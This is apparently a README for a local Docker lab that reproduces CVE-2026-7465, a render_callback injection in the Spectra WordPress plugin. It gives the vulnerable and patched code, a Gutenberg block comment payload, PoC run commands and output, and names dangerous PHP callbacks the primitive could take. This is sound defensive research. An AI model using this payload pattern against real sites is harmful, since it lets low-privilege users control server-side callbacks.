
Local Docker lab for analyzing and reproducing CVE-2026-7465 in the WordPress plugin Spectra Gutenberg Blocks (ultimate-addons-for-gutenberg).
This lab compares:
vuln: Spectra 2.19.25patched: Spectra 2.19.26The proof is intentionally least-harm. It does not execute shell commands, upload files, create users, or modify the container directly. The PoC creates a temporary WordPress draft post, checks rendered block behavior, then deletes the draft.
CVE-2026-7465 is a vulnerability in Spectra Gutenberg Blocks where user-controlled Gutenberg block attributes could be passed into WordPress block registration arguments.
In the vulnerable version, Spectra dynamically registers parsed uagb/* blocks using block attributes from post content:
$registry->register( $block['blockName'], $block['attrs'] );
Because a Contributor can create post content containing Gutenberg block comments, an authenticated Contributor-level user can influence registration arguments such as render_callback.
Version 2.19.26 fixes the issue by registering the block with an empty argument array:
$registry->register( $block['blockName'], array() );
This prevents post-controlled block attributes from becoming PHP block registration options.
Product:
Spectra Gutenberg Blocks
WordPress plugin slug: ultimate-addons-for-gutenberg
Versions used in this lab:
vulnerable: 2.19.25
patched: 2.19.26
WordPress.org changelog for 2.19.26 states that the update addressed a security bug and credits Wordfence for responsible reporting.
The vulnerable logic is located in:
classes/class-uagb-init-blocks.php
The vulnerable code checks whether a parsed block name contains the uagb/ namespace. If the block is not already registered, it registers the block dynamically.
if ( ! empty( $block['blockName'] ) && strpos( $block['blockName'], 'uagb/' ) !== false ) {
$registry = WP_Block_Type_Registry::get_instance();
if ( ! $registry->is_registered( $block['blockName'] ) ) {
$registry->register( $block['blockName'], $block['attrs'] );
}
}
The issue is the second argument:
$block['attrs']
In Gutenberg, block attributes can be stored inside post content, for example:
<!-- wp:uagb/example {"render_callback":"maybe_serialize"} /-->
A Contributor can create draft post content. Therefore, the attacker can influence $block['attrs'].
When those attributes are passed into WP_Block_Type_Registry::register(), they become block registration arguments. One sensitive registration argument is:
render_callback
This creates a callback-control primitive.
In 2.19.26, Spectra still registers the parsed uagb/* block name, but no longer passes post-controlled attributes as registration arguments:
if ( ! empty( $block['blockName'] ) && strpos( $block['blockName'], 'uagb/' ) !== false ) {
$registry = WP_Block_Type_Registry::get_instance();
if ( ! $registry->is_registered( $block['blockName'] ) ) {
$registry->register( $block['blockName'], array() );
}
}
The important change is:
- $registry->register( $block['blockName'], $block['attrs'] );
+ $registry->register( $block['blockName'], array() );
This removes attacker-controlled attributes from the block registration path.
maybe_serializeThe PoC does not use dangerous PHP callbacks such as system, exec, shell_exec, or passthru.
Instead, it uses:
maybe_serialize
The proof block content is:
<!-- wp:uagb/cve-2026-7465-lab {"render_callback":"maybe_serialize"} /-->
<!-- wp:uagb/cve-2026-7465-lab {"lab_marker":"CVE_2026_7465_LEAST_HARM_CALLBACK_MARKER","proof":"least-harm"} /-->
Expected behavior:
vulnerable:
render_callback from block attrs is accepted
marker appears in rendered content
patched:
render_callback from block attrs is ignored
marker does not appear in rendered content
This proves the vulnerable behavior without executing commands or writing files.
Services:
db_vuln MariaDB for vulnerable WordPress
db_patched MariaDB for patched WordPress
vuln WordPress + Spectra 2.19.25
patched WordPress + Spectra 2.19.26
seed_vuln one-shot WordPress setup for vulnerable site
seed_patched one-shot WordPress setup for patched site
Local ports:
http://127.0.0.1:8181 -> vulnerable WordPress
http://127.0.0.1:8182 -> patched WordPress
Seeded WordPress user:
username: contributor
password: contributorpass123!
role: contributor
The PoC is HTTP-only. It interacts with WordPress through login and REST API requests.
.
├── docker-compose.yml
├── patched
│ └── Dockerfile
├── poc
│ └── poc.py
├── scripts
│ └── seed-wordpress.sh
├── vuln
│ └── Dockerfile
Start from a clean environment:
docker compose down -v --remove-orphans
docker compose up -d --build
Check containers:
docker compose ps
Check seed logs:
docker compose logs seed_vuln seed_patched
Expected seed result:
[+] seed vuln: done
[+] seed patched: done
Test vulnerable target:
python3 poc/poc.py -t http://127.0.0.1:8181
Expected vulnerable verdict:
[VERDICT]
VULNERABLE_BEHAVIOR_OBSERVED
Test patched target:
python3 poc/poc.py -t http://127.0.0.1:8182
Expected patched verdict:
[VERDICT]
PATCHED_BEHAVIOR_OBSERVED
[SCOPE] local-only | HTTP-only | least-harm | no shell | no file write
[TARGET] http://127.0.0.1:8181
[INFO] fingerprinting target
spectra_stable_tag: 2.19.25
spectra_changelog_latest: 2.19.25
[INFO] logging in as contributor
[OK] login successful
[INFO] collecting REST nonce
[INFO] nonce candidates found: 4
[OK] validated REST nonce
[INFO] creating temporary draft post
[OK] created draft post id=16
[INFO] fetching rendered content
[EVIDENCE]
raw_contains_marker: True
rendered_contains_marker: True
rendered_length: 227
proof_callback: maybe_serialize
synthetic_block: uagb/cve-2026-7465-lab
[VERDICT]
VULNERABLE_BEHAVIOR_OBSERVED
[INFO] cleaning up draft post id=16
[OK] cleanup complete
[SCOPE] local-only | HTTP-only | least-harm | no shell | no file write
[TARGET] http://127.0.0.1:8182
[INFO] fingerprinting target
spectra_stable_tag: 2.19.26
spectra_changelog_latest: 2.19.26
[INFO] logging in as contributor
[OK] login successful
[INFO] collecting REST nonce
[INFO] nonce candidates found: 4
[OK] validated REST nonce
[INFO] creating temporary draft post
[OK] created draft post id=14
[INFO] fetching rendered content
[EVIDENCE]
raw_contains_marker: True
rendered_contains_marker: False
rendered_length: 1
proof_callback: maybe_serialize
synthetic_block: uagb/cve-2026-7465-lab
[VERDICT]
PATCHED_BEHAVIOR_OBSERVED
[INFO] cleaning up draft post id=14
[OK] cleanup complete
The important comparison is:
raw_contains_marker
rendered_contains_marker
Both vulnerable and patched targets should show:
raw_contains_marker: True
This confirms the same block content was successfully saved into a temporary draft post.
The difference is in rendered output:
vulnerable:
rendered_contains_marker: True
patched:
rendered_contains_marker: False
This demonstrates that the vulnerable version accepted the post-controlled render_callback, while the patched version did not.
Stop and remove containers, networks, and volumes:
docker compose down -v --remove-orphans
Remove Python cache if present:
rm -rf poc/__pycache__
This repository is for local security research and portfolio demonstration only.
The PoC:
Do not run this against systems you do not own or do not have explicit permission to test.
WordPress.org Plugin Page: Spectra Gutenberg Blocks - Website Builder for the Block Editor
https://wordpress.org/plugins/ultimate-addons-for-gutenberg/
WordPress.org Changelog: 2.19.26 - Monday, 4th May 2026 security update credited to Wordfence
https://wordpress.org/plugins/ultimate-addons-for-gutenberg/#developers
WordPress Plugin SVN / Trac
https://plugins.trac.wordpress.org/browser/ultimate-addons-for-gutenberg/